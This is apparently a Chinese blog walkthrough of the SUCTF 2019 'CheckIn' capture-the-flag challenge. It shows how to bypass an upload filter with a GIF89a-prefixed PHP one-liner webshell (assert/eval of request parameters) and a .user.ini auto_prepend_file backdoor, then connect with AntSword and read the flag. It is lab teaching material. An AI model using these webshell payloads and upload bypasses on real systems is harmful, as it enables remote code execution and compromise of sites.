[SUCTF 2019]CheckIn

发布时间 2023-11-18 23:19:46作者: 跳河离去的鱼

有上传文件的按钮,猜测是上传漏洞

svUyJ3-8bFKenSYQ3t00--Slg5k_ddmagiZdj3MahQ4

上传php不行,.php3,.php5,.phtml等都不行

lX9QTtGCfuOl4yZwrZWuxNM35HGv03LQVIC_eysuqPc

改成jpg,检测到了内容 <?不通过,那就再换一种方式

<script language='php'>assert($_REQUEST['cmd'])</script>

oq-9HfqooLKBgaa3XpkuEdKfLAsAX6lpapa60skHPc0

检测到文件不是图像,很明显是用exif_imagetype()函数,函数功能是读取一个图像的第一个字节并检查其签名。 在一句话前面加个GIF89a进行绕过

接着我们上传图片马,然后利用.user.ini解析图片马生成webshell

.user.ini实际上就是一个可以由用户“自定义”的php.ini,我们能够自定义的设置是模式为“PHP_INI_PERDIR 、 PHP_INI_USER”的设置。
其中有两个配置,可以用来制造后门:
auto_append_file、auto_prepend_file
指定一个文件,自动包含在要执行的文件前,类似于在文件前调用了require()函数。而auto_append_file类似,只是在文件后面包含。 使用方法很简单,直接写在.user.ini中
GIF89a
auto_prepend_file=d.jpg

wMf2danqPcIyLNZaT_M02QwWt0UWl204K6AMgFKd0Vc

eo2RYY7fQBngkgxsQbHGBVdA3zgBUcrO0xiCVde52nI

在这里可以看到uploads/c55e0cb61f7eb238df09ae30a206e5ee对应的文件夹下面有两个文件,一个是.user.ini,还一个是d.jpg,当然,还有一个index.php。那就可以构造URL了并用蚁剑连接一下:

http://baafcae3-1367-4cc4-b79f-8fab5c076710.node4.buuoj.cn:81/uploads/c55e0cb61f7eb238df09ae30a206e5ee/index.php

YS097zaqMzK0QvhWrPCttcjBwfx0BRM03m3VVBKefRE

这里试了好几次连接都失败,不知道是网站的问题还是一句话木马写的有问题,最终改成了

GIF89a
<script language='php'>@eval($_POST['cmd'])</script>

才上传成功

Gv3fVPNXmovy_RZWp5vKs_gusfTWobbf9AAyxj9VYV0

GzUjawt_izmkpVlx60W3mR04YZzzJzPIwgBz4NcDKK4

在根目录下找到flag{c1e8672f-e778-43f5-a629-f4241a79aa50}